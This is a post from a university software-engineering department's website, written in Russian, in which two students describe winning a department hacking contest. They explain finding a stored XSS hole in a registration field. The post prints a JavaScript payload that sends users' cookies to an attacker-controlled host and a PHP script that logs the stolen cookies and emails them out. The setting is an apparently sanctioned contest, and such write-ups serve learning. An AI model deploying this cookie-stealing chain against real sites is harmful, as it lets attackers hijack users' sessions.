Кафедра програмного забезпечення Дніпровського державного технічного університету
Головна Про нас Історія кафедри Наука Ми на порталі

Як Ткаченко Максим та Вернигора Дмитро відпочивали на травневих святах.(2015-05-05 19:07:47)
Привет всем студентам и сотрудникам кафедры ПЗ. Мы вам расскажем true story о том, как получили доступ к секретным материалам админ панели сайта. Учитывая то, что в этом деле мы дилетанты ушло много пива времени.
Начнем с того что пришлось перечитать кучу статей более опытных “хаЦкеров” о том, как находят уязвимости и пользуются этим.
Первым делом в надежде на легкость задания пытались найти sql уязвимость. Но так и не удалось ее выявить (хотя было сказано, что уязвимость есть).
Далее исключая предыдущий вариант продолжили поиск XSS. Уязвимость мы не нашли (плохо искали) и решили сдаться. Но мысль о призе на кону не давала покоя. И мы продолжили поиски.
И наконец, очередная попытка дала желаемый результат. При регистрации пользователя уязвимым полем оказалось поле Группа. Зарегистрировали нового пользователя, в Группу вставили большой текст что бы проверить сколько символов принимает поле. Поле приняло 64 символа, а это хорошо (Злобный смех!!!). Не секрет что программисты ленивые люди, а мы наверное еще больше. Что бы не изобретать велосипед и не писать скрипт ручками, пошли бороздить просторы Google. Как и ожидалось мы оказались не первыми в этом деле. Скрипт мы нашли :).
Кусок зловещего javascript кода.
var url = '<img src = "http://наш сайт/s.php?cookie=' + document.cookie + '">';
document.write(url);
Скрипт перенаправляет на php файл и ворует cookie пользователя.
А вот и сам php файл который отправляет cookie на почту и также записывает в log файл на сервере
<?php
if (isset($_GET['cookie']))
{
    $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of F Y h:i:s A');
    $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n";
    $file = fopen("sniff.txt", "a");
    fwrite($file, $text);
	mail("наша почта", "Cookie", $text);
    fclose($file);
} 
?>
Используя уже имеющийся скрипт и знание о том, какое поле уязвимое приступили к порабощению мира осуществлению желаемого.
Столкнувшись с очередной проблемой (как не странно), ссылки наши имели очень большую длину и скрипт соответственно не выполнялся :(. Решение опять же нашлось само собой используя вышесказанный Google...
Полный тест
P.S. Всем спасибо за внимание.
Отдельное спасибо заведующему кафедрой Шумейко Александру Алексеевичу за проведение таких конкурсов, особенно с такими-то призами.